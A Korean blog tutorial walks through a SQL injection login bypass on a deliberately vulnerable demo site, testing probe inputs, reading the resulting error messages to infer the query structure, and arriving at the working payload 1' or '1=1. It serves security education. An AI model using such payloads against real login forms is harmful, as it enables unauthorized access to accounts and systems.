본문 바로가기
모의해킹

로그인 페이지에 대한 인증 우회 간단 실습

by 공대냥이 2018. 11. 20.
반응형

실습설명 

논리적 에러를 이용한 SQL Injection. 

공격에 대한 인증 체계를 우회하여 계정과 암호없이 로그인하는 것을 테스트 한다.


실습 사이트 : http://demo.testfire.net (해당 실습등을 위해 만들어진 사이트라고 보면 된다.)


실습 시작

로그인 페이지에서 ID 와 PW 부분에 " '1 "을 입력한다.
아래 사진과 같은 오류를 확인 할 수 있다.
 

쿼리 구조의 필드이름은 Username, password 이고,

2개의 필드는 AND 구조로 연결되어 있으며,

입력한 문자열은 쿼테이션 내에 포함된 것을 확인 할 수 있다.


추가적인 에러 확인을 위해 "'1 or"를 입력한다.


아래 사진과 같은 오류를 확인 할 수 있다.




 입력한 '1 or 값에 쿼데이션(')이 양쪽으로 감싸는 구조라는 것을 알 수 있다.


다른 에러 메세지를 보기 위해 Username과 Password에 1 or '1을 입력 한다.


 


입력한 값 중 쿼테이션이 누락된 위치(첫 번째 숫자 뒤에 쿼테이션이 누락됨)을 알 수 있다.


입력값(Username/Passowrd)

출력 내용

'1

'1

'username = ''1' AND password = ''1''

계정과 암호 필드의 이름 확인

'1 or

'1 or

'username = ''1 or' AND password = ''1 or''

입력한 '1 때문에 "1(특수문자 '(double quote)가 2개 보임)이 된다는 것을 알수 있다즉 앞의 특수문자 '는 삽입하면 안되는 것을 알수 있다.

1 or '1

1 or '1

'username = '1 or '1' AND password = '1 or '1''

앞에서 입력한 1(1 or '1)만으로는 '1(username = '1 or '1')만 보여지므로, 1 뒤에 특수문자 '가 필요하다라는 것을 알수 있다.


(공격용 Username/Password)

1' or '1=1

1' or '1=1

'username = '1' or '1=1' AND password = '1' or '1=1"

위의 단계를 통해 얻은 정보를 바탕으로 뒤에 특수문자 '만 붙여진다면 

'1'(username = '1') 구조가 되어쿼리 구조가 완선된다.


로그인 성공





 


반응형